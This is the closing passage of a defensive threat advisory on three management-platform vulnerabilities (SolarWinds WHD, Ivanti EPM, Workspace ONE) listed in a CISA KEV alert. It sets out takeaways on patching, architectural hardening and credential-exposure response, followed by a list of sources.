3. The SolarWinds flaw is a third-generation patch bypass with a 9.8 CVSS score. CVE-2025-26399 represents the same core design failure that was first exploited in 2024 (CVE-2024-28986). Organizations that patched the original vulnerability but did not subsequently apply Hotfix 1 for 12.8.7 or upgrade to WHD 2026.1 remain vulnerable to unauthenticated remote code execution.
4. Post-exploitation tradecraft is sophisticated and multi-layered. Attackers are deploying legitimate RMM tools (Zoho ManageEngine), repurposing forensic tools as C2 (Velociraptor), building SIEM infrastructure on free Elastic Cloud trials for data exfiltration, and using QEMU virtual machines for SSH backdoor persistence. Detection requires looking for abuse of legitimate tools, not just known malware signatures.
5. The Ivanti flaw hands attackers the keys to your entire managed device estate. CVE-2026-1603 exposes EPM's credential vault without requiring any authentication. Stolen Domain Administrator hashes and service account credentials enable lateral movement at scale. Credential rotation is required even after patching. Over 700 EPM instances remain internet-facing.
6. A five-year-old SSRF vulnerability still has active victims. CVE-2021-22054 in Workspace ONE UEM was patched in December 2021. Its presence in a 2026 KEV listing demonstrates that operational patch debt continues to create conditions for sustained exploitation years after remediation options become available.
7. Management platforms are a target class, not individual incidents. All three CVEs in this batch affect enterprise management infrastructure that holds privileged credentials, maintains trust relationships with Active Directory, and communicates across every network segment. Attackers are deliberately targeting this category because a single compromise delivers access equivalent to domain-level privilege.
8. CISA's compressed patch deadlines signal active, ongoing campaigns. The three-day SolarWinds window and two-week Ivanti and Workspace ONE windows are not administrative formalities. They reflect intelligence about threat actor activity that makes extended exposure unacceptable even from a federal risk tolerance perspective.
9. Tactical patching is necessary but not sufficient — architectural changes are required. The recurring deserialization bypass pattern in SolarWinds WHD, the plaintext credential vault exposure in Ivanti EPM, and the five-year unpatched SSRF in Workspace ONE all point to structural failures that the next patch alone will not fix. Removing stored credentials from management platforms through PAM vault integration, deploying class-level deserialization defenses at the WAF and JVM layers, and placing all management consoles behind identity-aware proxies with device posture verification are the architectural responses that reduce exposure across future CVEs, not just the current three.
10. Credential exposure response must go beyond password rotation. When a management platform credential vault is compromised, rotating passwords is the starting point, not the finish line. A complete response requires krbtgt double-resets to invalidate Kerberos tickets domain-wide, forced re-enrollment of all managed endpoints, revocation of certificates issued to compromised service accounts, and forensic auditing of credential usage logs to map the full lateral movement scope before declaring remediation complete.

The underlying message from this KEV batch is one that cybersecurity professionals have heard before but that enterprise leadership continues to underweight: the operational complexity of patching enterprise management platforms does not reduce the risk of delayed remediation; it simply makes deferred risk accumulate silently until it becomes a confirmed breach. All three vulnerabilities in this KEV listing had patches available before exploitation began. The window to act is still open for many organizations. It is narrowing fast.

---

Sources: CISA KEV Alert, March 9, 2026  |  The Hacker News  |  SecurityWeek  |  Security Affairs  |  Horizon3.ai  |  watchTowr Labs  |  Cybersecurity News  |  DailyCVE  |  Huntress (Part 1)  |  Huntress (Part 2: Elastic Cloud SIEM)  |  Microsoft Defender Research  |  Elastic Security Labs  |  BleepingComputer  |  ReliaQuest (Storm-2603)  |  Dark Reading  |  CSO Online  |  Cybersecurity Dive  |  THN: GreyNoise SSRF Campaign  |  Field Effect (Ivanti EPM)

Frameworks: MITRE ATT&CK Enterprise Matrix  |  NIST SP 800-40 Rev. 4  |  NIST SP 800-53 Rev. 5  |  NIST SP 800-61 Rev. 3  |  NIST CSF 2.0